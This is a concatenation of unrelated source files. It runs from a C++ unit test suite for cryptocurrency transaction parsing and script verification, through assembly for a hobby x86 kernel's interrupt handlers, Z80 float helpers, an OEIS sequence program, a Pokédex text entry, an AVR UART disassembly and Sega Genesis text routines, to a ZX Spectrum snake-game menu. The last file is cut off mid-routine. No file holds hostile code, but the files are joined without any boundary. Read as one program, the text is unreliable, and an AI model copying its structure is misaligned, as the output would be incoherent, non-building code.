#include <map> #include <string> #include <boost/test/unit_test.hpp> #include "json/json_spirit_writer_template.h" #include "main.h" #include "wallet.h" using namespace std; using namespace json_spirit; // In script_tests.cpp extern Array read_json(const std::string& filename); extern CScript ParseScript(string s); BOOST_AUTO_TEST_SUITE(transaction_tests) BOOST_AUTO_TEST_CASE(tx_valid) { // Read tests from test/data/tx_valid.json // Format is an array of arrays // Inner arrays are either [ "comment" ] // or [[[prevout hash, prevout index, prevout scriptPubKey], [input 2], ...],"], serializedTransaction, enforceP2SH // ... where all scripts are stringified scripts. Array tests = read_json("tx_valid.json"); BOOST_FOREACH(Value& tv, tests) { Array test = tv.get_array(); string strTest = write_string(tv, false); if (test[0].type() == array_type) { if (test.size() != 3 || test[1].type() != str_type || test[2].type() != bool_type) { BOOST_ERROR("Bad test: " << strTest); continue; } map<COutPoint, CScript> mapprevOutScriptPubKeys; Array inputs = test[0].get_array(); bool fValid = true; BOOST_FOREACH(Value& input, inputs) { if (input.type() != array_type) { fValid = false; break; } Array vinput = input.get_array(); if (vinput.size() != 3) { fValid = false; break; } mapprevOutScriptPubKeys[COutPoint(uint256(vinput[0].get_str()), vinput[1].get_int())] = ParseScript(vinput[2].get_str()); } if (!fValid) { BOOST_ERROR("Bad test: " << strTest); continue; } string transaction = test[1].get_str(); CDataStream stream(ParseHex(transaction), SER_NETWORK, PROTOCOL_VERSION); CTransaction tx; stream >> tx; BOOST_CHECK_MESSAGE(tx.CheckTransaction(), strTest); for (unsigned int i = 0; i < tx.vin.size(); i++) { if (!mapprevOutScriptPubKeys.count(tx.vin[i].prevout)) { BOOST_ERROR("Bad test: " << strTest); break; } BOOST_CHECK_MESSAGE(VerifyScript(tx.vin[i].scriptSig, mapprevOutScriptPubKeys[tx.vin[i].prevout], tx, i, test[2].get_bool(), 0), strTest); } } } } BOOST_AUTO_TEST_CASE(tx_invalid) { // Read tests from test/data/tx_invalid.json // Format is an array of arrays // Inner arrays are either [ "comment" ] // or [[[prevout hash, prevout index, prevout scriptPubKey], [input 2], ...],"], serializedTransaction, enforceP2SH // ... where all scripts are stringified scripts. Array tests = read_json("tx_invalid.json"); BOOST_FOREACH(Value& tv, tests) { Array test = tv.get_array(); string strTest = write_string(tv, false); if (test[0].type() == array_type) { if (test.size() != 3 || test[1].type() != str_type || test[2].type() != bool_type) { BOOST_ERROR("Bad test: " << strTest); continue; } map<COutPoint, CScript> mapprevOutScriptPubKeys; Array inputs = test[0].get_array(); bool fValid = true; BOOST_FOREACH(Value& input, inputs) { if (input.type() != array_type) { fValid = false; break; } Array vinput = input.get_array(); if (vinput.size() != 3) { fValid = false; break; } mapprevOutScriptPubKeys[COutPoint(uint256(vinput[0].get_str()), vinput[1].get_int())] = ParseScript(vinput[2].get_str()); } if (!fValid) { BOOST_ERROR("Bad test: " << strTest); continue; } string transaction = test[1].get_str(); CDataStream stream(ParseHex(transaction), SER_NETWORK, PROTOCOL_VERSION); CTransaction tx; stream >> tx; fValid = tx.CheckTransaction(); for (unsigned int i = 0; i < tx.vin.size() && fValid; i++) { if (!mapprevOutScriptPubKeys.count(tx.vin[i].prevout)) { BOOST_ERROR("Bad test: " << strTest); break; } fValid = VerifyScript(tx.vin[i].scriptSig, mapprevOutScriptPubKeys[tx.vin[i].prevout], tx, i, test[2].get_bool(), 0); } BOOST_CHECK_MESSAGE(!fValid, strTest); } } } BOOST_AUTO_TEST_CASE(basic_transaction_tests) { // Random real transaction (e2769b09e784f32f62ef849763d4f45b98e07ba6586420203b915ff832b110436) unsigned char ch[] = {0x01, 0x00, 0x00, 0x00, 0x01, 0x6b, 0xff, 0x7f, 0xcd, 0x4f, 0x85, 0x65, 0xef, 0x40, 0x6d, 0xd5, 0xd6, 0x3d, 0x4f, 0xf9, 0x4f, 0x31, 0x8f, 0xe8, 0x20, 0x27, 0xfd, 0x4d, 0xc4, 0x51, 0xb0, 0x44, 0x74, 0x01, 0x9f, 0x74, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x8c, 0x49, 0x30, 0x46, 0x02, 0x21, 0x00, 0xda, 0x0d, 0xc6, 0xae, 0xce, 0xfe, 0x1e, 0x06, 0xef, 0xdf, 0x05, 0x77, 0x37, 0x57, 0xde, 0xb1, 0x68, 0x82, 0x09, 0x30, 0xe3, 0xb0, 0xd0, 0x3f, 0x46, 0xf5, 0xfc, 0xf1, 0x50, 0xbf, 0x99, 0x0c, 0x02, 0x21, 0x00, 0xd2, 0x5b, 0x5c, 0x87, 0x04, 0x00, 0x76, 0xe4, 0xf2, 0x53, 0xf8, 0x26, 0x2e, 0x76, 0x3e, 0x2d, 0xd5, 0x1e, 0x7f, 0xf0, 0xbe, 0x15, 0x77, 0x27, 0xc4, 0xbc, 0x42, 0x80, 0x7f, 0x17, 0xbd, 0x39, 0x01, 0x41, 0x04, 0xe6, 0xc2, 0x6e, 0xf6, 0x7d, 0xc6, 0x10, 0xd2, 0xcd, 0x19, 0x24, 0x84, 0x78, 0x9a, 0x6c, 0xf9, 0xae, 0xa9, 0x93, 0x0b, 0x94, 0x4b, 0x7e, 0x2d, 0xb5, 0x34, 0x2b, 0x9d, 0x9e, 0x5b, 0x9f, 0xf7, 0x9a, 0xff, 0x9a, 0x2e, 0xe1, 0x97, 0x8d, 0xd7, 0xfd, 0x01, 0xdf, 0xc5, 0x22, 0xee, 0x02, 0x28, 0x3d, 0x3b, 0x06, 0xa9, 0xd0, 0x3a, 0xcf, 0x80, 0x96, 0x96, 0x8d, 0x7d, 0xbb, 0x0f, 0x91, 0x78, 0xff, 0xff, 0xff, 0xff, 0x02, 0x8b, 0xa7, 0x94, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x19, 0x76, 0xa9, 0x14, 0xba, 0xde, 0xec, 0xfd, 0xef, 0x05, 0x07, 0x24, 0x7f, 0xc8, 0xf7, 0x42, 0x41, 0xd7, 0x3b, 0xc0, 0x39, 0x97, 0x2d, 0x7b, 0x88, 0xac, 0x40, 0x94, 0xa8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x19, 0x76, 0xa9, 0x14, 0xc1, 0x09, 0x32, 0x48, 0x3f, 0xec, 0x93, 0xed, 0x51, 0xf5, 0xfe, 0x95, 0xe7, 0x25, 0x59, 0xf2, 0xcc, 0x70, 0x43, 0xf9, 0x88, 0xac, 0x00, 0x00, 0x00, 0x00, 0x00}; vector<unsigned char> vch(ch, ch + sizeof(ch) -1); CDataStream stream(vch, SER_DISK, CLIENT_VERSION); CTransaction tx; stream >> tx; BOOST_CHECK_MESSAGE(tx.CheckTransaction(), "Simple deserialized transaction should be valid."); // Check that duplicate txins fail tx.vin.push_back(tx.vin[0]); BOOST_CHECK_MESSAGE(!tx.CheckTransaction(), "Transaction with duplicate txins should be invalid."); } // // Helper: create two dummy transactions, each with // two outputs. The first has 11 and 50 CENT outputs // paid to a TX_PUBKEY, the second 21 and 22 CENT outputs // paid to a TX_PUBKEYHASH. // static std::vector<CTransaction> SetupDummyInputs(CBasicKeyStore& keystoreRet, MapPrevTx& inputsRet) { std::vector<CTransaction> dummyTransactions; dummyTransactions.resize(2); // Add some keys to the keystore: CKey key[4]; for (int i = 0; i < 4; i++) { key[i].MakeNewKey(i % 2); keystoreRet.AddKey(key[i]); } // Create some dummy input transactions dummyTransactions[0].vout.resize(2); dummyTransactions[0].vout[0].nValue = 11*CENT; dummyTransactions[0].vout[0].scriptPubKey << key[0].GetPubKey() << OP_CHECKSIG; dummyTransactions[0].vout[1].nValue = 50*CENT; dummyTransactions[0].vout[1].scriptPubKey << key[1].GetPubKey() << OP_CHECKSIG; inputsRet[dummyTransactions[0].GetHash()] = make_pair(CTxIndex(), dummyTransactions[0]); dummyTransactions[1].vout.resize(2); dummyTransactions[1].vout[0].nValue = 21*CENT; dummyTransactions[1].vout[0].scriptPubKey.SetDestination(key[2].GetPubKey().GetID()); dummyTransactions[1].vout[1].nValue = 22*CENT; dummyTransactions[1].vout[1].scriptPubKey.SetDestination(key[3].GetPubKey().GetID()); inputsRet[dummyTransactions[1].GetHash()] = make_pair(CTxIndex(), dummyTransactions[1]); return dummyTransactions; } BOOST_AUTO_TEST_CASE(test_Get) { CBasicKeyStore keystore; MapPrevTx dummyInputs; std::vector<CTransaction> dummyTransactions = SetupDummyInputs(keystore, dummyInputs); CTransaction t1; t1.vin.resize(3); t1.vin[0].prevout.hash = dummyTransactions[0].GetHash(); t1.vin[0].prevout.n = 1; t1.vin[0].scriptSig << std::vector<unsigned char>(65, 0); t1.vin[1].prevout.hash = dummyTransactions[1].GetHash(); t1.vin[1].prevout.n = 0; t1.vin[1].scriptSig << std::vector<unsigned char>(65, 0) << std::vector<unsigned char>(33, 4); t1.vin[2].prevout.hash = dummyTransactions[1].GetHash(); t1.vin[2].prevout.n = 1; t1.vin[2].scriptSig << std::vector<unsigned char>(65, 0) << std::vector<unsigned char>(33, 4); t1.vout.resize(2); t1.vout[0].nValue = 90*CENT; t1.vout[0].scriptPubKey << OP_1; BOOST_CHECK(t1.AreInputsStandard(dummyInputs)); BOOST_CHECK_EQUAL(t1.GetValueIn(dummyInputs), (50+21+22)*CENT); // Adding extra junk to the scriptSig should make it non-standard: t1.vin[0].scriptSig << OP_11; BOOST_CHECK(!t1.AreInputsStandard(dummyInputs)); // ... as should not having enough: t1.vin[0].scriptSig = CScript(); BOOST_CHECK(!t1.AreInputsStandard(dummyInputs)); } BOOST_AUTO_TEST_CASE(test_GetThrow) { CBasicKeyStore keystore; MapPrevTx dummyInputs; std::vector<CTransaction> dummyTransactions = SetupDummyInputs(keystore, dummyInputs); MapPrevTx missingInputs; CTransaction t1; t1.vin.resize(3); t1.vin[0].prevout.hash = dummyTransactions[0].GetHash(); t1.vin[0].prevout.n = 0; t1.vin[1].prevout.hash = dummyTransactions[1].GetHash();; t1.vin[1].prevout.n = 0; t1.vin[2].prevout.hash = dummyTransactions[1].GetHash();; t1.vin[2].prevout.n = 1; t1.vout.resize(2); t1.vout[0].nValue = 90*CENT; t1.vout[0].scriptPubKey << OP_1; BOOST_CHECK_THROW(t1.AreInputsStandard(missingInputs), runtime_error); BOOST_CHECK_THROW(t1.GetValueIn(missingInputs), runtime_error); } BOOST_AUTO_TEST_SUITE_END()
; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ; kernel.asm ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ; Forrest Yu, 2005 ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ %include "sconst.inc" ; 导入函数 extern cstart extern kernel_main extern exception_handler extern spurious_irq extern clock_handler extern disp_str extern delay extern irq_table ; 导入全局变量 extern gdt_ptr extern idt_ptr extern p_proc_ready extern tss extern disp_pos extern k_reenter extern sys_call_table bits 32 [SECTION .data] clock_int_msg db "^", 0 [SECTION .bss] StackSpace resb 2 * 1024 StackTop: ; 栈顶 [section .text] ; 代码在此 global _start ; 导出 _start global restart global sys_call global divide_error global single_step_exception global nmi global breakpoint_exception global overflow global bounds_check global inval_opcode global copr_not_available global double_fault global copr_seg_overrun global inval_tss global segment_not_present global stack_exception global general_protection global page_fault global copr_error global hwint00 global hwint01 global hwint02 global hwint03 global hwint04 global hwint05 global hwint06 global hwint07 global hwint08 global hwint09 global hwint10 global hwint11 global hwint12 global hwint13 global hwint14 global hwint15 _start: ; 此时内存看上去是这样的(更详细的内存情况在 LOADER.ASM 中有说明): ; ┃ ┃ ; ┃ ... ┃ ; ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■■■Page Tables■■■■■■┃ ; ┃■■■■■(大小由LOADER决定)■■■■┃ PageTblBase ; 00101000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■Page Directory Table■■■■┃ PageDirBase = 1M ; 00100000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃□□□□ Hardware Reserved □□□□┃ B8000h ← gs ; 9FC00h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■■■■LOADER.BIN■■■■■■┃ somewhere in LOADER ← esp ; 90000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■■■■KERNEL.BIN■■■■■■┃ ; 80000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■■■■■KERNEL■■■■■■■┃ 30400h ← KERNEL 入口 (KernelEntryPointPhyAddr) ; 30000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┋ ... ┋ ; ┋ ┋ ; 0h ┗━━━━━━━━━━━━━━━━━━┛ ← cs, ds, es, fs, ss ; ; ; GDT 以及相应的描述符是这样的: ; ; Descriptors Selectors ; ┏━━━━━━━━━━━━━━━━━━┓ ; ┃ Dummy Descriptor ┃ ; ┣━━━━━━━━━━━━━━━━━━┫ ; ┃ DESC_FLAT_C (0~4G) ┃ 8h = cs ; ┣━━━━━━━━━━━━━━━━━━┫ ; ┃ DESC_FLAT_RW (0~4G) ┃ 10h = ds, es, fs, ss ; ┣━━━━━━━━━━━━━━━━━━┫ ; ┃ DESC_VIDEO ┃ 1Bh = gs ; ┗━━━━━━━━━━━━━━━━━━┛ ; ; 注意! 在使用 C 代码的时候一定要保证 ds, es, ss 这几个段寄存器的值是一样的 ; 因为编译器有可能编译出使用它们的代码, 而编译器默认它们是一样的. 比如串拷贝操作会用到 ds 和 es. ; ; ; 把 esp 从 LOADER 挪到 KERNEL mov esp, StackTop ; 堆栈在 bss 段中 mov dword [disp_pos], 0 sgdt [gdt_ptr] ; cstart() 中将会用到 gdt_ptr call cstart ; 在此函数中改变了gdt_ptr,让它指向新的GDT lgdt [gdt_ptr] ; 使用新的GDT lidt [idt_ptr] jmp SELECTOR_KERNEL_CS:csinit csinit: ; “这个跳转指令强制使用刚刚初始化的结构”——<<OS:D&I 2nd>> P90. ;jmp 0x40:0 ;ud2 xor eax, eax mov ax, SELECTOR_TSS ltr ax ;sti jmp kernel_main ;hlt ; 中断和异常 -- 硬件中断 ; --------------------------------- %macro hwint_master 1 call save in al, INT_M_CTLMASK ; `. or al, (1 << %1) ; | 屏蔽当前中断 out INT_M_CTLMASK, al ; / mov al, EOI ; `. 置EOI位 out INT_M_CTL, al ; / sti ; CPU在响应中断的过程中会自动关中断,这句之后就允许响应新的中断 push %1 ; `. call [irq_table + 4 * %1] ; | 中断处理程序 pop ecx ; / cli in al, INT_M_CTLMASK ; `. and al, ~(1 << %1) ; | 恢复接受当前中断 out INT_M_CTLMASK, al ; / ret %endmacro ALIGN 16 hwint00: ; Interrupt routine for irq 0 (the clock). hwint_master 0 ALIGN 16 hwint01: ; Interrupt routine for irq 1 (keyboard) hwint_master 1 ALIGN 16 hwint02: ; Interrupt routine for irq 2 (cascade!) hwint_master 2 ALIGN 16 hwint03: ; Interrupt routine for irq 3 (second serial) hwint_master 3 ALIGN 16 hwint04: ; Interrupt routine for irq 4 (first serial) hwint_master 4 ALIGN 16 hwint05: ; Interrupt routine for irq 5 (XT winchester) hwint_master 5 ALIGN 16 hwint06: ; Interrupt routine for irq 6 (floppy) hwint_master 6 ALIGN 16 hwint07: ; Interrupt routine for irq 7 (printer) hwint_master 7 ; --------------------------------- %macro hwint_slave 1 push %1 call spurious_irq add esp, 4 hlt %endmacro ; --------------------------------- ALIGN 16 hwint08: ; Interrupt routine for irq 8 (realtime clock). hwint_slave 8 ALIGN 16 hwint09: ; Interrupt routine for irq 9 (irq 2 redirected) hwint_slave 9 ALIGN 16 hwint10: ; Interrupt routine for irq 10 hwint_slave 10 ALIGN 16 hwint11: ; Interrupt routine for irq 11 hwint_slave 11 ALIGN 16 hwint12: ; Interrupt routine for irq 12 hwint_slave 12 ALIGN 16 hwint13: ; Interrupt routine for irq 13 (FPU exception) hwint_slave 13 ALIGN 16 hwint14: ; Interrupt routine for irq 14 (AT winchester) hwint_slave 14 ALIGN 16 hwint15: ; Interrupt routine for irq 15 hwint_slave 15 ; 中断和异常 -- 异常 divide_error: push 0xFFFFFFFF ; no err code push 0 ; vector_no = 0 jmp exception single_step_exception: push 0xFFFFFFFF ; no err code push 1 ; vector_no = 1 jmp exception nmi: push 0xFFFFFFFF ; no err code push 2 ; vector_no = 2 jmp exception breakpoint_exception: push 0xFFFFFFFF ; no err code push 3 ; vector_no = 3 jmp exception overflow: push 0xFFFFFFFF ; no err code push 4 ; vector_no = 4 jmp exception bounds_check: push 0xFFFFFFFF ; no err code push 5 ; vector_no = 5 jmp exception inval_opcode: push 0xFFFFFFFF ; no err code push 6 ; vector_no = 6 jmp exception copr_not_available: push 0xFFFFFFFF ; no err code push 7 ; vector_no = 7 jmp exception double_fault: push 8 ; vector_no = 8 jmp exception copr_seg_overrun: push 0xFFFFFFFF ; no err code push 9 ; vector_no = 9 jmp exception inval_tss: push 10 ; vector_no = A jmp exception segment_not_present: push 11 ; vector_no = B jmp exception stack_exception: push 12 ; vector_no = C jmp exception general_protection: push 13 ; vector_no = D jmp exception page_fault: push 14 ; vector_no = E jmp exception copr_error: push 0xFFFFFFFF ; no err code push 16 ; vector_no = 10h jmp exception exception: call exception_handler add esp, 4*2 ; 让栈顶指向 EIP,堆栈中从顶向下依次是:EIP、CS、EFLAGS hlt ; ==================================================================================== ; save ; ==================================================================================== save: pushad ; `. push ds ; | push es ; | 保存原寄存器值 push fs ; | push gs ; / mov dx, ss mov ds, dx mov es, dx mov esi, esp ;esi = 进程表起始地址 inc dword [k_reenter] ;k_reenter++; cmp dword [k_reenter], 0 ;if(k_reenter ==0) jne .1 ;{ mov esp, StackTop ; mov esp, StackTop <--切换到内核栈 push restart ; push restart jmp [esi + RETADR - P_STACKBASE]; return; .1: ;} else { 已经在内核栈,不需要再切换 push restart_reenter ; push restart_reenter jmp [esi + RETADR - P_STACKBASE]; return; ;} ; ==================================================================================== ; sys_call ; ==================================================================================== sys_call: call save push dword [p_proc_ready] sti push ecx push ebx call [sys_call_table + eax * 4] add esp, 4 * 3 mov [esi + EAXREG - P_STACKBASE], eax cli ret ; ==================================================================================== ; restart ; ==================================================================================== restart: mov esp, [p_proc_ready] lldt [esp + P_LDT_SEL] lea eax, [esp + P_STACKTOP] mov dword [tss + TSS3_S_SP0], eax restart_reenter: dec dword [k_reenter] pop gs pop fs pop es pop ds popad add esp, 4 iretd
SECTION code_clib SECTION code_fp_math32 PUBLIC cm32_sdcc_fsreadr PUBLIC cm32_sdcc_fsread1 EXTERN cm32_sdcc_fsload .cm32_sdcc_fsreadr ; sdcc float primitive ; Read right sdcc float from the stack ; ; Convert from sdcc_float calling to d32_float. ; ; enter : stack = sdcc_float right, sdcc_float left, ret1, ret0 ; ; exit : stack = sdcc_float right, sdcc_float left, ret1 ; DEHL = sdcc_float right ; ; uses : af, bc, de, hl ld hl,8 ; stack sdcc_float right add hl,sp jp cm32_sdcc_fsload ; return DEHL = sdcc_float right .cm32_sdcc_fsread1 ; sdcc float primitive ; Read left / single sdcc float from the stack ; ; Convert from sdcc_float calling to d32_float. ; ; enter : stack = sdcc_float, ret1, ret0 ; ; exit : stack = sdcc_float, ret1 ; DEHL = sdcc_float ; ; uses : f, bc, de, hl ld hl,4 ; stack sdcc_float add hl,sp jp cm32_sdcc_fsload ; return DEHL = sdcc_float
; A027805: 21*(n+1)*C(n+4,9). ; 126,1470,9240,41580,150150,462462,1261260,3123120,7147140,15315300,31039008,59961720,111105540,198470580,343219800,576609264,943854450,1509157650,2362159800,3626122500,5468192730,8112154050,11854124100,17081719200,24297273000,34145767656,47448213120,65241293040,88824184680,119813555400,160207839792,212462009760,279574164870,365185392390,473694475800,610389167388,781595885070,994849845990,1259087809980,1584865774800,1984604142444,2472863061900,3066650848800,3785768586600,4653194227500,5695509734460,6943375038600,8432052829200,10201988446650,12299449412250,14777229402936,17695421764020,21122267949090,25135086583530,29821289166900,35279488759872,41620708343760,48969695895120,57466353584640,67267288888800,78547495794768,91502174683920,106348699897440,123328744418880,142710571553550,164791503943374,189900580728600,218401414154700,250695257424150,287224296108750,328475175968940,374982780572400,427334272665300,486173413826100,552205177524000,626200671312216,709002384510420,801529778371140,904785236381880,1019860393028400,1147942860035202,1290323369807010,1448403356520120,1623702996055140,1817869726723050,2032687273514898,2270085199402020,2532149008028640,2821130822972280,3139460669599800,3489758386418304,3874846193710800,4297761948156600,4761773113066200,5270391474810000,5827388636989920,6436812324892950,7103003533776150,7830614555563800,8624627919589500 mov $1,$0 add $1,9 bin $1,$0 add $0,6 mul $1,$0 div $1,2 mul $1,42
db "DARK@" ; species name db "Around dawn, its" next "ominous howl" next "echoes through the" page "area to announce" next "that this is its" next "territory.@"
UART_transmit.hex: file format ihex Disassembly of section .sec1: 00000000 <.sec1>: 0: 07 e6 ldi r16, 0x67 ; 103 2: 10 e0 ldi r17, 0x00 ; 0 4: 0e 94 15 00 call 0x2a ; 0x2a 8: e4 e6 ldi r30, 0x64 ; 100 a: f0 e0 ldi r31, 0x00 ; 0 c: 0e 94 27 00 call 0x4e ; 0x4e 10: 06 e3 ldi r16, 0x36 ; 54 12: 0e 94 20 00 call 0x40 ; 0x40 16: 07 e3 ldi r16, 0x37 ; 55 18: 0e 94 20 00 call 0x40 ; 0x40 1c: 0a e0 ldi r16, 0x0A ; 10 1e: 0e 94 20 00 call 0x40 ; 0x40 22: e2 e7 ldi r30, 0x72 ; 114 24: f0 e0 ldi r31, 0x00 ; 0 26: 13 d0 rcall .+38 ; 0x4e 28: fc cf rjmp .-8 ; 0x22 2a: 00 93 c4 00 sts 0x00C4, r16 ; 0x8000c4 2e: 10 93 c5 00 sts 0x00C5, r17 ; 0x8000c5 32: 08 e1 ldi r16, 0x18 ; 24 34: 00 93 c1 00 sts 0x00C1, r16 ; 0x8000c1 38: 0e e0 ldi r16, 0x0E ; 14 3a: 00 93 c2 00 sts 0x00C2, r16 ; 0x8000c2 3e: 08 95 ret 40: 10 91 c0 00 lds r17, 0x00C0 ; 0x8000c0 44: 15 ff sbrs r17, 5 46: fc cf rjmp .-8 ; 0x40 48: 00 93 c6 00 sts 0x00C6, r16 ; 0x8000c6 4c: 08 95 ret 4e: 05 91 lpm r16, Z+ 50: 00 30 cpi r16, 0x00 ; 0 52: 39 f0 breq .+14 ; 0x62 54: 10 91 c0 00 lds r17, 0x00C0 ; 0x8000c0 58: 15 ff sbrs r17, 5 5a: fc cf rjmp .-8 ; 0x54 5c: 00 93 c6 00 sts 0x00C6, r16 ; 0x8000c6 60: f6 cf rjmp .-20 ; 0x4e 62: 08 95 ret 64: 48 65 ori r20, 0x58 ; 88 66: 6c 6c ori r22, 0xCC ; 204 68: 6f 20 and r6, r15 6a: 77 6f ori r23, 0xF7 ; 247 6c: 72 6c ori r23, 0xC2 ; 194 6e: 64 2e mov r6, r20 70: 0a 00 .word 0x000a ; ???? 72: 31 30 cpi r19, 0x01 ; 1 74: 30 20 and r3, r0 76: 32 30 cpi r19, 0x02 ; 2 78: 30 20 and r3, r0 7a: 33 30 cpi r19, 0x03 ; 3 7c: 30 20 and r3, r0 7e: 34 30 cpi r19, 0x04 ; 4 80: 30 20 and r3, r0 82: 35 30 cpi r19, 0x05 ; 5 84: 30 0a sbc r3, r16 ...
include 'charmap.asm' ; Align 8 bytes nop 0,8 LoadTextTiles: ; Setup the VDP to write to VRAM address 0x0000 (the address of the first graphics tile, index 0) SetVRAMWrite vram_addr_tiles ; Write the font glyph tiles to VRAM lea PixelFont, a0 move.w #(text_tile_count*size_tile_l)-1, d0 ; Loop counter = 8 longwords per tile * num tiles (-1 for DBRA loop) @CharLp: ; Start of loop move.l (a0)+, vdp_data ; Write tile line (4 bytes per line), and post-increment address dbra d0, @CharLp ; Decrement d0 and loop until finished (when d0 reaches -1) rts DrawTextPlaneANew: ; a0 (l) - String address ; requires previously setting text position through: SetVRAMWrite vram_addr_plane_a+(((text_pos_y*vdp_plane_width)+text_pos_x)*size_word) lea ASCIIMap, a1 ; Load address of ASCII map into a1 clr.l d2 clr.l d3 @CharLookup: move.b (a0)+, d2 ; Move ASCII byte to lower byte of d2 cmp.b #0x0, d2 ; Test if byte is zero (string terminator) beq.b @CharEnd ; If byte was zero, branch to end sub.b #ASCIIStart, d2 ; Subtract first ASCII code to get table entry index move.b (a1,d2.w), d3 ; Move tile ID from table (index in lower word of d2) to lower byte of d3 move.w d3, vdp_data ; draw letter bra @CharLookup @CharEnd: rts DrawNumberTextPlaneA: ; d4 (w) - Number ; requires previously setting text position through: SetVRAMWrite vram_addr_plane_a+(((text_pos_y*vdp_plane_width)+text_pos_x)*size_word) clr.l d2 clr.l d3 clr.l d5 clr.l d6 move.w #12, d6 ; number of shifts to apply to the original number, we start with the bigger figure lea ASCIIMap, a1 ; Load address of ASCII map into a1 @number_calculation_loop: move.w d4, d5 ; Copy original number lsr.w d6, d5 ; Shift figure and mask it to draw and.w #0xF, d5 cmp.b #10, d5 ; check if number is bigger than 9 bge @bigger_num @small_num: add.w #16, d5 ; get char for this number bra @draw_num @bigger_num: add.w #23, d5 @draw_num move.b (a1,d5.w), d3 ; Move tile ID from table (index in lower word of d2) to lower byte of d3 move.w d3, vdp_data ; Move palette and pattern IDs to VDP data port subq #4, d6 bmi @end bra @number_calculation_loop @end: rts
; ///////////////////////////////////////////////////////////////////////////// ; Znake (ZX Spectrum 48K) ; ----------------------------------------------------------------------------- ; 1_menu.asm ; ----------------------------------------------------------------------------- ; Copyright (C) 2016, Chris Wyatt ; All rights reserved ; Distributed under the Apache 2 license (see LICENSE) ; ///////////////////////////////////////////////////////////////////////////// select_difficulty_draw: ld b,6 select_difficulty_draw_next: push hl push de push bc call draw_char pop bc pop de pop hl inc d djnz select_difficulty_draw_next ret select_difficulty: ld hl,difficulties ld de,DIFFICULTIES_ROW_LENGTH or a ; Reset carry flag sbc hl,de select_difficulty_move_pointer: add hl,de djnz select_difficulty_move_pointer push hl pop ix ld d,(ix + 3) ld e,(ix + 2) ld hl,0x81c0 call select_difficulty_draw ret control_select: ; Set border color to black xor a ; a = 0 call $229B ; Clear screen ld hl,0x4000 ld de,0x4001 ld bc,0x17ff ld (hl),0 ldir ld iy,draw_line ld de,0x0b08 ld hl,str_title call print ld de,0x0a0a ld hl,str_keyboard call print ld de,0x0a0b ld hl,str_kempston call print control_select_check_key: ld a,0xbf in a,(0xfe) bit 2,a jr z,menu_start bit 3,a jr nz,control_select_check_key enable_kempston: ld hl,flags set 1,(hl) menu_start: ld a,(23672) ld (menu_last_direction_frame_count),a ; Clear screen ld hl,0x4000 ld de,0x4001 ld bc,0x17ff ld (hl),0 ldir ld ix,difficulties ld iy,draw_line_xor ; Push col/row and memory locations of graphics to stack, ready to draw ; later ; Push top border ld b,12 ; Location of border top ld hl,0x8180 ; Column/row ld de,0x0a05 menu_push_top_border_next: push hl push de inc d djnz menu_push_top_border_next ; Push right border ld b,11 ; Location of border right ld hl,0x8188 ; Column/row ld de,0x1606 menu_push_right_border_next: push hl push de inc e djnz menu_push_right_border_next ; Push bottom border ld b,12 ; Location of border bottom ld hl,0x8190 ; Column/row ld de,0x0a11 menu_push_bottom_border_next: push hl push de inc d djnz menu_push_bottom_border_next ; Push left border ld b,11 ; Location of border left ld hl,0x8198 ; Column/row ld de,0x0906 menu_push_left_border_next: push hl push de inc e djnz menu_push_left_border_next ; Push border corners ; Location of border top-right ld hl,0x81a0 ; Column/row ld de,0x1605 push hl push de ; Location of border bottom-right ld hl,0x81a8 ; Column/row ld de,0x1611 push hl push de ; Location of border bottom-left ld hl,0x81b0 ; Column/row ld de,0x0911 push hl push de ; Location of border top-left ld hl,0x81b8 ; Column/row ld de,0x0905 push hl push de ld c,12 + 11 + 12 + 11 + 4 halt menu_draw_border_char: pop de pop hl call draw_char dec c jr nz,menu_draw_border_char ld hl,str_title ld de,0x0b02 call print ld hl,str_credits ld de,0x0415 call print ld h,(ix + 1) ld l,(ix) ld d,(ix + 3) ld e,(ix + 2) call print ld h,(ix + DIFFICULTIES_ROW_LENGTH + 1) ld l,(ix + DIFFICULTIES_ROW_LENGTH) ld d,(ix + DIFFICULTIES_ROW_LENGTH + 3) ld e,(ix + DIFFICULTIES_ROW_LENGTH + 2) call print ld h,(ix + DIFFICULTIES_ROW_LENGTH * 2 + 1) ld l,(ix + DIFFICULTIES_ROW_LENGTH * 2) ld d,(ix + DIFFICULTIES_ROW_LENGTH * 2 + 3) ld e,(ix + DIFFICULTIES_ROW_LENGTH * 2 + 2) call print ld h,(ix + DIFFICULTIES_ROW_LENGTH * 3 + 1) ld l,(ix + DIFFICULTIES_ROW_LENGTH * 3) ld d,(ix + DIFFICULTIES_ROW_LENGTH * 3 + 3) ld e,(ix + DIFFICULTIES_ROW_LENGTH * 3 + 2) call print ld h,(ix + DIFFICULTIES_ROW_LENGTH * 4 + 1) ld l,(ix + DIFFICULTIES_ROW_LENGTH * 4) ld d,(ix + DIFFICULTIES_ROW_LENGTH * 4 + 3) ld e,(ix + DIFFICULTIES_ROW_LENGTH * 4 + 2) call print ld a,(difficulty) inc a ld b,a ld de,DIFFICULTIES_ROW_LENGTH ld ix,difficulties - 5 select_difficulty_offset_increment: add ix,de djnz select_difficulty_offset_increment ld hl,0x81c0 ld d,(ix + 1) ld e,(ix) call select_difficulty_draw input_loop: ; Map Q, A, [ENTER] to Kempston bits: 000FUDLR ld c,0x01 ld a,0xfb ; 7 R E W Q in a,(0xfe) cpl and c rlca rlca rlca ld b,a ld a,0xfd ; G F D S A in a,(0xfe) cpl and c rlca rlca or b ld b,a ld a,0xbf ; H J K L [ENTER] in a,(0xfe) cpl and c rrca rrca rrca rrca or b ld b,a ld hl,flags bit 1,(hl) jr z,input_loop_skip_kempston in a,(0x1f) and 0x1c or b ld b,a input_loop_skip_kempston: ; Only capture up/down and 0x0f ld hl,menu_last_direction cp (hl) jr nz,menu_change_direction ; Same direction bit 4,b jr nz,init ld a,(23672) ld hl,menu_last_direction_frame_count 